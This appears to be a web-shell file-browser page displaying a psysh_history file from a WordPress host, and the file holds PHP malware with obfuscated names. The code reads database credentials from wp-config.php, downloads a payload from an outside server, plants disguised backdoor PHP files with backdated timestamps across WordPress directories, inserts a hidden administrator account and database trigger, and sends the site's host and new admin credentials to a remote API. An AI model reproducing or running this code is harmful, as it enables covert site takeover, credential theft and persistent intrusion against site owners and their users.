HEX
Server: Apache
System: Linux sh00683.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User: hgdxabmy (1072)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: /home1/hgdxabmy/public_html/website_b6fa0d64/wp-content/psysh_history
_HiStOrY_V2_
//\012define('CURRENTDIR',\040getcwd());\012define('UPLOAD_SHELL',\0401);\012define('OUT',\0402);\012define('API_PATH',\040'http://march03252.com/src/accsec.php');\012\012/**\040without\040http\040*\040*/\012define('PATH_TO_BACK_SHELL',\040'wp-top.com/greh');\012/**\040without\040http\040*\040*/\012$iakrje\040=\040'http://march03252.com/src/temp/1c4f3b93fbf8ddeebb7fe705d511c071';\012\012\012$uouvwp\040=\040kbcbioxdz();\012\012$ioqqdu\040=\040'wpupdate';\012$dstiijrhuu\040=\040grwpqszdk();\012$faqyfnmq\040=\040$uouvwp[1];\012$rbntvxbqgz\040=\040$dstiijrhuu;\012$eoqhwbtansqr\040=\040'';\012$sbyyayqhidpa\040=\040'https://wordpress.com';\012$ciavtsv\040=\040njxfsgarh('2019-07-09\04000:00:00',\040'2023-08-27\04000:00:00');\012$ehrdazbk\040=\040'';\012$tjvhqnrl\040=\040'0';\012$ecvqtmq\040=\040$dstiijrhuu;\012\012\012if\040(is_null($qohtzjtnqrsa\040=\040jdtgbtdb()))\040{\012\040\040\040\040echo\040'invalid\040detect\040wp\040root\040dir';\012\040\040\040\040exit;\012}\012\012\012if\040(!function_exists('file_put_contents'))\040{\012\012\040\040\040\040function\040file_put_contents($qjgeaokcg,\040$yodpavdm)\040{\012\040\040\040\040\040\040\040\040$sgulmhzbtz\040=\040@fopen($qjgeaokcg,\040'w');\012\040\040\040\040\040\040\040\040if\040(!$sgulmhzbtz)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$feoxpkq\040=\040fwrite($sgulmhzbtz,\040$yodpavdm);\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($sgulmhzbtz);\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$feoxpkq;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012}\012\012$mqrxrf\040=\040array();\012\012\012if\040(!file_exists($fodwzgczcnef\040=\040$qohtzjtnqrsa\040.\040'/wp-config.php'))\040{\012\040\040\040\040echo\040'wp-config\040not\040found';\012\040\040\040\040exit;\012}\012$iowelxcoxnro\040=\040file_get_contents($fodwzgczcnef);\012\012\012preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\134'\134"],\134s*[\134'\134"](.+)[\134'\134"]\134s*\134);~m",\040$iowelxcoxnro,\040$cddyhftzthhw);\012preg_match("~table_prefix\134s+=\134s*[\134'\134"](.+)[\134'\134"];~",\040$iowelxcoxnro,\040$sbjgpfizr);\012\012\012$uvmzfgmya\040=\040$cddyhftzthhw[2][0];\012$oycdkb\040=\040$cddyhftzthhw[2][1];\012$izwfyxkvk\040=\040$cddyhftzthhw[2][2];\012$dpbqqbc\040=\040$cddyhftzthhw[2][3];\012$ndwszew\040=\040$sbjgpfizr[1];\012\012\012$mkzvzqkobys\040=\040xahgg($dstiijrhuu,\040$faqyfnmq,\040$rbntvxbqgz,\040$eoqhwbtansqr,\040$sbyyayqhidpa,\040$ciavtsv,\040$ehrdazbk,\040$tjvhqnrl,\040$ecvqtmq,\040$uvmzfgmya,\040$ndwszew);\012\012$vdscrp\040=\040mysqli_connect($dpbqqbc,\040$oycdkb,\040$izwfyxkvk,\040$uvmzfgmya);\012\012\012if\040(!$vdscrp)\040{\012\040\040\040\040require_once($qohtzjtnqrsa\040.\040'/wp-config.php');\012\012\040\040\040\040$bqulnawzyh\040=\040get_defined_constants(true);\012\012\040\040\040\040if\040(!$bqulnawzyh['user'])\040{\012\040\040\040\040\040\040\040\040throw\040new\040\134Exception("Could\040not\040connect");\012\040\040\040\040}\012\012\040\040\040\040$uvmzfgmya\040=\040$bqulnawzyh['user']['DB_NAME'];\012\040\040\040\040$oycdkb\040=\040$bqulnawzyh['user']['DB_USER'];\012\040\040\040\040$izwfyxkvk\040=\040$bqulnawzyh['user']['DB_PASSWORD'];\012\040\040\040\040$dpbqqbc\040=\040$bqulnawzyh['user']['DB_HOST'];\012\040\040\040\040$ndwszew\040=\040$sbjgpfizr[1];\012\012\012\040\040\040\040$vdscrp\040=\040mysqli_connect($dpbqqbc,\040$oycdkb,\040$izwfyxkvk,\040$uvmzfgmya);\012}\012\012\012$eydatfnmtx\040=\040$_SERVER['HTTP_HOST'];\012\012if\040(mysqli_connect_errno())\040{\012\040\040\040\040$tiottbdgkem\040=\0401;\012\040\040\040\040echo\040"Could\040not\040connect"\040.\040PHP_EOL;\012}\040else\040{\012\040\040\040\040echo\040"Connected\040successfully"\040.\040PHP_EOL;\012\012\040\040\040\040$qmhutjfhsl\040=\040mysqli_query($vdscrp,\040"select\040*\040from\040"\040.\040$ndwszew\040.\040"options\040where\040option_name\040=\040'home'\040or\040option_name\040=\040'siteurl'");\012\040\040\040\040$qxlglpkusq\040=\040mysqli_fetch_row($qmhutjfhsl);\012\012\040\040\040\040if\040(stristr($qxlglpkusq[2],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$eydatfnmtx\040=\040$qxlglpkusq[2];\012\040\040\040\040}\012\012\040\040\040\040if\040(stristr($qxlglpkusq[3],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$eydatfnmtx\040=\040$qxlglpkusq[3];\012\040\040\040\040}\012}\012\012\012if\040(UPLOAD_SHELL\040===\0401)\040{\012\012\040\040\040\040if\040(!function_exists('curl_init'))\040{\012\040\040\040\040\040\040\040\040$hganirailft\040=\040fynrnex($iakrje);\012\040\040\040\040\040\040\040\040define('USE_FGC',\0401);\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$hganirailft\040=\040htbnmzia($iakrje);\012\040\040\040\040}\012\012\040\040\040\040if\040(!$hganirailft)\040{\012\040\040\040\040\040\040\040\040echo\040'check\040sh\040domain'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($hganirailft[1]\040===\040403)\040{\012\040\040\040\040\040\040\040\040echo\040'firewall\040in\040action!';\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($hganirailft[1]\040!==\040200)\040{\012\040\040\040\040\040\040\040\040echo\040'need\040update\040script'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$fxagkapxw\040=\040$hganirailft[0];\012\012\012\040\040\040\040$wzeytf\040=\040unserialize(base64_decode($fxagkapxw));\012\012\040\040\040\040$gekxum\040=\040array('variable',\040'function',\040'class',\040'object',\040'array',\040'string',\040'integer',\040'boolean',\040'float',\040'double',\040'character',\040'list',\040'set',\040'queue',\040'stack',\040'pointer',\040'reference',\040'constructor',\040'interface',\040'method',\040'event',\040'exception',\040'loop',\040'condition',\040'statement',\040'module',\040'package',\040'library',\040'framework',\040'compiler',\040'interpreter',\040'database',\040'sql',\040'query',\040'index',\040'table',\040'view',\040'trigger',\040'schema',\040'git',\040'repository',\040'branch',\040'merge',\040'client',\040'encryption',\040'decryption',\040'hashing',\040'session',\040'cookie',\040'json',\040'xml',\040'restful',\040'soap',\040'url',\040'http',\040'https',\040'dns',\040'firewall',\040'security',\040'ajax-response',\040'cron',\040'stream',\040'private',\040'meta',\040'wp',\040'core',\040'ajax',\040'beta',\040'alpha',\040'sample',\040'path',\040'request',\040'old',\040'info',\040'base',\040'num',\040'all',\040'stat',\040'new',\040'plain',\040'add',\040'edit',\040'live',\040'pic',\040'less',\040'more',\040'part',\040'get',\040'long',\040'call',\040'first',\040'time',\040'other');\012\012\040\040\040\040$pwydbdx\040=\040wuppbbto($qohtzjtnqrsa\040.\040'/wp-admin',\0403);\012\040\040\040\040$farcqddxxpz\040=\040wuppbbto($qohtzjtnqrsa\040.\040'/wp-content/plugins',\0403);\012\040\040\040\040$tbicizp\040=\040wuppbbto($qohtzjtnqrsa\040.\040'/wp-includes',\0403);\012\040\040\040\040$fapokoov\040=\040wuppbbto($qohtzjtnqrsa\040.\040'/wp-content/themes',\0403);\012\040\040\040\040$rcneyk\040=\040array_merge($pwydbdx,\040$farcqddxxpz,\040$tbicizp,\040$fapokoov);\012\040\040\040\040$cyeyinqtsp\040=\040count($gekxum);\012\012\012\040\040\040\040$wpfflbzehpsv\040=\040$qohtzjtnqrsa\040.\040'/wp-config-sample.php';\012\040\040\040\040$ufmkztyox\040=\040$wzeytf['wp-config-sample.php?config'];\012\040\040\040\040$nhktavatldg\040=\040$gekxum[rand(0,\040$cyeyinqtsp\040-\0401)]\040.\040wkaie(rand(3,\0406));\012\040\040\040\040$vxkjufla\040=\040'$_GET[\134''\040.\040$nhktavatldg\040.\040'\134']';\012\040\040\040\040$ufmkztyox\040=\040str_replace('$_GET[\134'config\134']',\040$vxkjufla,\040$ufmkztyox);\012\040\040\040\040file_put_contents($wpfflbzehpsv,\040$ufmkztyox);\012\040\040\040\040touch($wpfflbzehpsv,\040gjkys(dirname($wpfflbzehpsv)));\012\040\040\040\040$mqrxrf[]\040=\040noivdxo($qohtzjtnqrsa,\040$wpfflbzehpsv\040.\040'?'\040.\040$nhktavatldg,\040$eydatfnmtx);\012\012\012\040\040\040\040unset($wzeytf['wp-config-sample.php?config']);\012\012\040\040\040\040if\040(empty($rcneyk))\040{\012\040\040\040\040\040\040\040\040echo\040'no\040directories\040to\040write'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$kxfjct\040=\040array_keys($wzeytf);\012\012\012\040\040\040\040foreach\040($rcneyk\040as\040$ctnaexamrdzh)\040{\012\012\040\040\040\040\040\040\040\040if\040(empty($kxfjct))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$kxfjct\040=\040array_keys($wzeytf);\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$oonojdik\040=\040str_replace('.php',\040'-'\040.\040$gekxum[rand(0,\040$cyeyinqtsp\040-\0401)]\040.\040'.php',\040$ctnaexamrdzh);\012\040\040\040\040\040\040\040\040$xddrmvlaq\040=\040array_shift($kxfjct);\012\040\040\040\040\040\040\040\040$wjdaddoaormi\040=\040$wzeytf[$xddrmvlaq];\012\040\040\040\040\040\040\040\040file_put_contents($oonojdik,\040$wjdaddoaormi);\012\040\040\040\040\040\040\040\040touch($oonojdik,\040gjkys(dirname($oonojdik)));\012\040\040\040\040\040\040\040\040$ynoyqvgqa\040=\040explode('?',\040$xddrmvlaq);\012\040\040\040\040\040\040\040\040$hmynccegbeea\040=\040noivdxo($qohtzjtnqrsa,\040$oonojdik,\040$eydatfnmtx);\012\040\040\040\040\040\040\040\040$mqrxrf[]\040=\040(isset($ynoyqvgqa[1]))\040?\040$hmynccegbeea\040.\040'?'\040.\040wutrny($ynoyqvgqa[1])\040:\040$hmynccegbeea;\012\040\040\040\040}\012}\012\012function\040wutrny($ynoyqvgqa)\040{\012\040\040\040\040if\040(defined('PATH_TO_BACK_SHELL')\040&&\040(stristr($ynoyqvgqa,\040'example.com')\040!==\040false))\040{\012\040\040\040\040\040\040\040\040return\040str_replace('example.com',\040PATH_TO_BACK_SHELL,\040$ynoyqvgqa);\012\040\040\040\040}\012\040\040\040\040return\040$ynoyqvgqa;\012}\012\012if\040(!isset($tiottbdgkem))\040{\012\012\040\040\040\040$xvrndumc\040=\040xvucoxl($eydatfnmtx);\012\040\040\040\040$phuplz\040=\040"update\040`${ndwszew}options`\040set\040option_value\040=\040''\040WHERE\040`option_name`\040LIKE\040'close_comments_for_old_posts'";\012\012\040\040\040\040if\040(!mysqli_query($vdscrp,\040$phuplz))\040{\012\040\040\040\040\040\040\040\040echo\040'invalid\040set\040value\0400\040for\040option\040>>close_comments_value<<'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040$iausgx\040=\040"UPDATE\040`${ndwszew}posts`\040set\040ping_status\040=\040'open'\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${xvrndumc}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040$wfaxxntc\040=\040array();\012\012\012\040\040\040\040if\040(mysqli_query($vdscrp,\040$iausgx))\040{\012\040\040\040\040\040\040\040\040//echo\040'posts\040ready\040to\040accept\040trackbacks'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$yhexxc\040=\040"select\040id,\040guid,\040post_name\040from\040`${ndwszew}posts`\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${xvrndumc}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040\040\040\040\040$nnzxzuwsr\040=\040mysqli_query($vdscrp,\040$yhexxc);\012\040\040\040\040\040\040\040\040while\040($umhitoh\040=\040mysqli_fetch_array($nnzxzuwsr))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$wfaxxntc[]\040=\040array($umhitoh['id'],\040$umhitoh['guid'],\040$umhitoh['post_name']);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\012\040\040\040\040//$mgctxrpnn\040=\040"SELECT\040*\040FROM\040`${ndwszew}users`\040WHERE\040`user_pass`\040=\040'$faqyfnmq'";\012\040\040\040\040$mgctxrpnn\040=\040"SELECT\040*\040FROM\040`${ndwszew}users`\040WHERE\040`user_login`\040=\040'$dstiijrhuu'\040order\040by\040id\040desc\040limit\0401";\012\040\040\040\040$lrobstcysvbj\040=\040"SELECT\040*\040FROM\040`${ndwszew}users`\040WHERE\040`user_login`\040=\040'$ioqqdu'";\012\040\040\040\040$uqkdlepdfcna\040=\040mysqli_query($vdscrp,\040$mgctxrpnn);\012\040\040\040\040$sxmqzclo\040=\040mysqli_query($vdscrp,\040$lrobstcysvbj);\012\012\012\040\040\040\040if\040(mysqli_num_rows($sxmqzclo))\040{\012\040\040\040\040\040\040\040\040$lcrnnz\040=\040"delete\040from\040`${ndwszew}users`\040WHERE\040`user_login`\040=\040'$ioqqdu'";\012\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040$lcrnnz);\012\040\040\040\040}\012\012\040\040\040\040if\040(!mysqli_num_rows($uqkdlepdfcna))\040{\012\040\040\040\040\040\040\040\040$euosmmj\040=\040mysqli_query($vdscrp,\040"SELECT\040ID\040from\040`"\040.\040$uvmzfgmya\040.\040"`.`"\040.\040$ndwszew\040.\040"users`\040ORDER\040BY\040`ID`\040DESC\040LIMIT\0401");\012\040\040\040\040\040\040\040\040$mulusuufkx\040=\040mysqli_fetch_row($euosmmj);\012\040\040\040\040\040\040\040\040$bekppbry\040=\040(int)++$mulusuufkx[0];\012\012\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040"INSERT\040INTO\040`"\040.\040$uvmzfgmya\040.\040"`.`"\040.\040$ndwszew\040.\040"users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040('$bekppbry',\040'$dstiijrhuu',\040'$faqyfnmq',\040'$rbntvxbqgz',\040'$eoqhwbtansqr',\040'$sbyyayqhidpa',\040'$ciavtsv',\040'$ehrdazbk',\040'$tjvhqnrl',\040'$ecvqtmq')");\012\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040"INSERT\040INTO\040`"\040.\040$uvmzfgmya\040.\040"`.`"\040.\040$ndwszew\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$bekppbry,\040'"\040.\040$ndwszew\040.\040"capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}')");\012\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040"INSERT\040INTO\040`"\040.\040$uvmzfgmya\040.\040"`.`"\040.\040$ndwszew\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$bekppbry,\040'"\040.\040$ndwszew\040.\040"user_level',\040'10')");\012\012\040\040\040\040\040\040\040\040//echo\040$eydatfnmtx\040.\040"\040admin\040inserted"\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040echo\040sprintf('%s\040admin\040inserted\040%s::%s',\040$eydatfnmtx,\040$dstiijrhuu,\040$uouvwp[0])\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$sjmveonxpdor\040=\0401;\012\012\012\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($vdscrp,\040$mkzvzqkobys))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$vltsydd)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040$vltsydd->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\040else\040{\012\012\012\040\040\040\040\040\040\040\040while\040($odhtvzsa\040=\040mysqli_fetch_array($uqkdlepdfcna))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$ktpokwfbgv\040=\040$odhtvzsa['user_pass'];\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$xdpcgn\040=\040"SHOW\040TRIGGERS";\012\040\040\040\040\040\040\040\040$nvclpkmm\040=\040mysqli_query($vdscrp,\040$xdpcgn);\012\012\040\040\040\040\040\040\040\040if\040($nvclpkmm)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040while\040($buuuohrwz\040=\040mysqli_fetch_array($nvclpkmm))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($buuuohrwz['Trigger']\040===\040'after_insert_comment')\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(strpos($buuuohrwz['Statement'],\040$ktpokwfbgv)\040!==\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'hash\040and\040trigger\040matched!';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'not\040matched\040need\040drop\040trigger';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040mysqli_query($vdscrp,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$mkzvzqkobys\040=\040xahgg($dstiijrhuu,\040$ktpokwfbgv,\040$rbntvxbqgz,\040$eoqhwbtansqr,\040$sbyyayqhidpa,\040$ciavtsv,\040$ehrdazbk,\040$tjvhqnrl,\040$ecvqtmq,\040$uvmzfgmya,\040$ndwszew);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($vdscrp,\040$mkzvzqkobys))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$vltsydd)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040$vltsydd->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040echo\040$eydatfnmtx\040.\040'\040admin\040exists'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040mysqli_close($vdscrp);\012}\012\012echo\040implode("\134n",\040$mqrxrf)\040.\040"\134n";\012\012$mqrxrf['host']\040=\040$eydatfnmtx;\012if\040(!empty($wfaxxntc))\040{\012\040\040\040\040$mqrxrf['trackbacks']\040=\040$wfaxxntc;\012}\012\012if\040(isset($sjmveonxpdor))\040{\012\040\040\040\040$mqrxrf['authdata']\040=\040array($dstiijrhuu,\040$uouvwp[0]);\012}\012\012$mqrxrf['out']\040=\040OUT;\012\012\012$ysodszt\040=\040ihcjsd(API_PATH,\040array('source'\040=>\040base64_encode(serialize($mqrxrf)),));\012\012if\040(trim($ysodszt)\040!==\040'success')\040{\012\040\040\040\040echo\040"!!!!error\040while\040sending\040data!!!!"\040.\040PHP_EOL;\012\040\040\040\040exit;\012}\012\012\012echo\040str_repeat('_',\040400)\040.\040"\134n";\012\012function\040jdtgbtdb()\040{\012\012\040\040\040\040if\040(file_exists(CURRENTDIR\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040CURRENTDIR;\012\040\040\040\040}\012\040\040\040\040$frjykmjnjay\040=\040preg_replace('~\134/(wp-admin|wp-includes|wp-content).*$~',\040'',\040CURRENTDIR);\012\012\012\040\040\040\040if\040(file_exists($frjykmjnjay\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040$frjykmjnjay;\012\040\040\040\040}\012\012\040\040\040\040return\040null;\012}\012\012function\040fynrnex($hmynccegbeea)\040{\012\040\040\040\040$luuokcpthnb\040=\040stream_context_create(array('http'\040=>\040array('ignore_errors'\040=>\040true)));\012\040\040\040\040$yodpavdm\040=\040@file_get_contents($hmynccegbeea,\040false,\040$luuokcpthnb);\012\040\040\040\040if\040($yodpavdm\040===\040false)\040{\012\040\040\040\040\040\040\040\040$rxkcbqrhse\040=\040error_get_last();\012\040\040\040\040\040\040\040\040//echo\040"HTTP\040request\040failed.\040Error\040was:\040"\040.\040$rxkcbqrhse['message'];\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$vvxcoexex\040=\040null;\012\040\040\040\040\040\040\040\040if\040(!empty($rqqdrc)\040&&\040isset($rqqdrc[0]))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$rqqdrc[0],\040$fqceahgbdx);\012\040\040\040\040\040\040\040\040\040\040\040\040$vvxcoexex\040=\040intval($fqceahgbdx[1]);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040return\040array($yodpavdm,\040$vvxcoexex);\012\040\040\040\040}\012\012}\012\012function\040htbnmzia($hmynccegbeea)\040{\012\040\040\040\040$ejteijwhz\040=\040curl_init();\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_URL,\040$hmynccegbeea);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_HEADER,\0400);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_RETURNTRANSFER,\0401);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040$yodpavdm\040=\040curl_exec($ejteijwhz);\012\012\040\040\040\040if\040(!$yodpavdm)\040{\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\012\012\040\040\040\040$wpwvseuvjdy\040=\040curl_getinfo($ejteijwhz,\040CURLINFO_HTTP_CODE);\012\012\040\040\040\040curl_close($ejteijwhz);\012\040\040\040\040return\040array($yodpavdm,\040$wpwvseuvjdy);\012}\012\012function\040ihcjsd($hmynccegbeea,\040$yodpavdm)\040{\012\040\040\040\040if\040(defined('USE_FGC'))\040{\012\040\040\040\040\040\040\040\040return\040zsxaaj($hmynccegbeea,\040$yodpavdm);\012\040\040\040\040}\012\040\040\040\040return\040yynimwehr($hmynccegbeea,\040$yodpavdm);\012}\012\012function\040zsxaaj($hmynccegbeea,\040$yodpavdm)\040{\012\040\040\040\040$uxagxds\040=\040http_build_query($yodpavdm);\012\012\040\040\040\040$ovnzcljeok\040=\040array(\012\040\040\040\040\040\040\040\040'http'\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040'method'\040=>\040'POST',\012\040\040\040\040\040\040\040\040\040\040\040\040'header'\040=>\040'Content-Type:\040application/x-www-form-urlencoded',\012\040\040\040\040\040\040\040\040\040\040\040\040'content'\040=>\040$uxagxds,\012\040\040\040\040\040\040\040\040\040\040\040\040'timeout'\040=>\04010,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040\040\040\040\040"ssl"\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer"\040=>\040false,\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer_name"\040=>\040false,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040);\012\012\040\040\040\040$luuokcpthnb\040=\040stream_context_create($ovnzcljeok);\012\040\040\040\040$iiklcmravhq\040=\040@file_get_contents($hmynccegbeea,\040false,\040$luuokcpthnb);\012\040\040\040\040$vvxcoexex\040=\040null;\012\040\040\040\040if\040(isset($rqqdrc[0]))\040{\012\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$rqqdrc[0],\040$fqceahgbdx);\012\040\040\040\040\040\040\040\040$vvxcoexex\040=\040intval($fqceahgbdx[1]);\012\040\040\040\040}\012\012\012\040\040\040\040return\040($vvxcoexex\040===\040200)\040?\040trim($iiklcmravhq)\040:\040null;\012}\012\012function\040yynimwehr($hmynccegbeea,\040$yodpavdm)\040{\012\012\040\040\040\040$ejteijwhz\040=\040curl_init();\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_URL,\040$hmynccegbeea);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_POST,\040true);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_POSTFIELDS,\040$yodpavdm);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\040\040\040\040curl_setopt($ejteijwhz,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040$iiklcmravhq\040=\040curl_exec($ejteijwhz);\012\040\040\040\040$hmtokrnidlvr\040=\040curl_getinfo($ejteijwhz);\012\040\040\040\040curl_close($ejteijwhz);\012\012\040\040\040\040return\040($hmtokrnidlvr["http_code"]\040==\040200)\040?\040trim($iiklcmravhq)\040:\040null;\012}\012\012function\040gjkys($pirpoeu)\040{\012\012\040\040\040\040foreach\040(glob($pirpoeu\040.\040"/*php")\040as\040$gquyljf)\040{\012\040\040\040\040\040\040\040\040$wogwnssp[]\040=\040filemtime($gquyljf);\012\040\040\040\040}\012\040\040\040\040$ehwggonkxmfc\040=\040array_count_values($wogwnssp);\012\040\040\040\040arsort($ehwggonkxmfc);\012\040\040\040\040$kxfjct\040=\040array_keys($ehwggonkxmfc);\012\040\040\040\040return\040array_shift($kxfjct);\012}\012\012function\040noivdxo($dxydkhkyp,\040$oonojdik,\040$xvrndumc\040=\040null)\040{\012\012\040\040\040\040$xvrndumc\040=\040!$xvrndumc\040?\040'http://'\040.\040$_SERVER['HTTP_HOST']\040:\040$xvrndumc;\012\040\040\040\040$xysgls\040=\040str_replace($dxydkhkyp,\040'',\040$oonojdik);\012\012\040\040\040\040return\040rtrim($xvrndumc,\040'/')\040.\040DIRECTORY_SEPARATOR\040.\040ltrim($xysgls,\040'/');\012}\012\012function\040ssbvqdrol($jqtdoz,\040$crunjlfyf\040=\0401)\040{\012\040\040\040\040if\040(!is_dir($jqtdoz))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$bbpdyzor\040=\040realpath($jqtdoz);\012\012\012\040\040\040\040$sujeekoxt\040=\040new\040RecursiveIteratorIterator(new\040RecursiveDirectoryIterator($bbpdyzor),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$sujeekoxt->setMaxDepth($crunjlfyf);\012\012\040\040\040\040foreach\040($sujeekoxt\040as\040$ifalmdoq\040=>\040$uvjevjar)\040{\012\040\040\040\040\040\040\040\040if\040(($bbpdyzor\040=\040$uvjevjar->getPath())\040===\040$jqtdoz)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;